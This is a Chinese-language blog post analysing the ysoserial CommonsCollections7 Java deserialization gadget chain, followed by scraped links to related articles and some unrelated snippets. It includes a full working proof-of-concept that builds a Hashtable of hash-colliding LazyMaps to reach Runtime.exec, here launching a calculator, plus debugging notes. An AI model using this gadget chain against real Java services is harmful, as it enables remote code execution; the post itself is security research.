Ysoserial Commons Collections7分析
Ysoserial Commons Collections7分析
写在前面
CommonsCollections Gadget Chains | CommonsCollection Version | JDK Version | Note |
---|---|---|---|
CommonsCollections1 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修复不可利用) | |
CommonsCollections2 | CommonsCollections 4.0 | 暂无限制 | javassist |
CommonsCollections3 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修复不可利用) | javassist |
CommonsCollections4 | CommonsCollections 4.0 | 暂无限制 | javassist |
CommonsCollections5 | CommonsCollections 3.1 - 3.2.1 | 1.8 8u76(实测8u181也可) | |
CommonsCollections6 | CommonsCollections 3.1 - 3.2.1 | 暂无限制 | |
CommonsCollections7 | CommonsCollections 3.1 - 3.2.1 | 暂无限制 |
CC7和CC1差不多,只是触发LazyMap.get()
的方式不一样,反序列化的入口点变成了Hashtable类
Payload method chain: 因为chain发生了一些变化,这里贴出来先留个印象,放便后续调试时理解
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"open -a Calculator"};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
objectInputStream.readObject();
// return hashtable;
}
}
PoC分析
前面部分基本都是CC1的老内容了,主要看下后面有关于Hashtable部分,主要是下面的一段代码
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
首先new了两个HashMap对象,之后分别利用这两个对象作为参数通过LazyMap.decorate()
方法new了两个LazyMap对象
抛出问题:注意这里的LazyMap中的yy
与zZ
,这个命名是有说法的。
在reconstitutionPut
方法中,可以看到zZ
和yy
的hash是一样的,但是重点在于index
的值,如果不符合语法会导致无法进入for循环也就触发不了后续的利用链
(transformerChain是new的一个空ChainedTransformer对象)后续将这两个LazyMap对象作为参数传入hashtable.put()
方法并put两次。抛出问题:为什么要put两次?
调试时发现在Hashtable#readObject()
方法有如下一个循环,在这个for循环中去调用的reconstitutionPut方法
第一次循环调用reconstitutionPut
方法时并不会走进chain中提到的equals
方法,因为tab[index]
的值是0,后面才会对tab[index]
进行赋值。
第二次才能进入for循环进而调用if判断中的equals
方法,这也是为什么hashtable要put两次的原因
调试分析
Hashtable#readObject()下断点,debug,跟进到reconstitutionPut
方法
上面也提到了,第一次循环时并不能进入equals
方法,这里略去,直接跟进到第二次循环的时候,调用的是LazyMap#equals
方法,继续跟进,这里调用的其实是org/apache/commons/collections/map/AbstractMapDecorator
的equals方法
调用AbstractMap
的equals
方法
在AbstractMap#equals()
方法中最终调用了LazyMap.get()
后续就是进入ChainedTransformer#transform()
方法,老生常谈的东西了,最终是在InvokerTransformer#transform()
中反射调用exec
执行命令
END
至此CC1-7就都分析完了,后面几个链分析的内容比较少,大部分都是前面的内容如果觉得不详细可以看之前写的CC1-3的文章,基本都涵盖了后面分析时没深入写的老生常谈的东西。后续应该会去跟一下ysoserial的源码,虽然之前分析URLDNS的时候就简单看过如何生成payload。但是分析cc的时候就没用ysoserial项目的源码(因为封装的太多了:D)之后可能会把CC8-10拿出来写成ysoserial的payload放进去。
Reference
https://www.anquanke.com/post/id/248169
https://www.cnblogs.com/nice0e3/
Ysoserial Commons Collections7分析的更多相关文章
- Java安全之Commons Collections7分析
Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...
- Ysoserial Commons Collections2分析
Ysoserial Commons Collections2分析 About Commons Collections2 CC2与CC1不同在于CC2用的是Commons Collections4.0; ...
- Ysoserial Commons Collections3分析
Ysoserial Commons Collections3分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
- Java安全之Commons Collections5分析
Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...
- Java安全之Commons Collections6分析
Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...
- Java安全之Commons Collections1分析(二)
Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...
- Java安全之Commons Collections1分析(一)
Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...
- Java安全之Commons Collections1分析前置知识
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
- Java安全之Commons Collections1分析(三)
Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...
随机推荐
- MyBatis学习总结(五)——关联表查询的实现
一.一对一关联 1.1.提出需求 根据班级id查询班级信息(带老师的信息) 1.2.创建表和数据 创建一张教师表和班级表,这里我们假设一个老师只负责教一个班,那么老师和班级之间的关系就是一种一对一的关 ...
- Python__Xpath模块
import requests from lxml import etree # 导入xpath headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 6 ...
- junit5 yaml和json 数据驱动
使用yaml 数据驱动测试 新建用例数据类,用于动态修改测试数据 对应yaml文件,第一层结构为列表 第二层结构为具体序列化class对象 测试成功 public class TestYaml { @ ...
- shell脚本测试变量是否为空,测试文件是否存在,sed修改配置文件参数,分支语句
Shell脚本 1. 基本的几个变量 使用$?获取最近一次的执行结果: 使用$#获取传递的参数个数,类似C语言中的int argc; 使用$@获取所有的传参,类似C语言的char **argv 2. ...
- token过期时间
token有两个有效期,在config/jwt.php下面 # ./config/jwt.php'ttl' => env('JWT_TTL', 600), ##600min=10h 'refre ...
- go语言游戏服务端开发(一)——架构
五邑隐侠,本名关健昌,12年游戏生涯. 本教程以Go语言为例. 网络游戏程序分为客户端和服务端.客户端负责图形渲染.交互和一些简单校验处理,服务端负责业务逻辑处理.数据存储. 我们开发一个游戏de ...
- pip更新升级和删除包
pip检测更新命令:pip list –outdated pip升级包命令:pip install --upgrade packagename pip卸载包命令:pip uninstall packa ...
- 10.6Java学习
1.类,对象,方法的定义.2.标识符分为两类:关键字/常见的基本类型:boolean(布尔型),byte(字节型),char(字符型),double(双精度),float(浮点),int(整型),lo ...
- Django学习day04随堂笔记
每日测验 """ 今日考题 1.列举你知道的orm数据的增删改查方法 2.表关系如何判定,django orm中如何建立表关系,有什么特点和注意事项 3.请画出完整的dj ...
- TP5开启缓存
https://www.kancloud.cn/manual/thinkphp5/215850 V5.0.6+版本开始,全局请求缓存支持设置排除规则,使用方法如下:config.php文件 'requ ...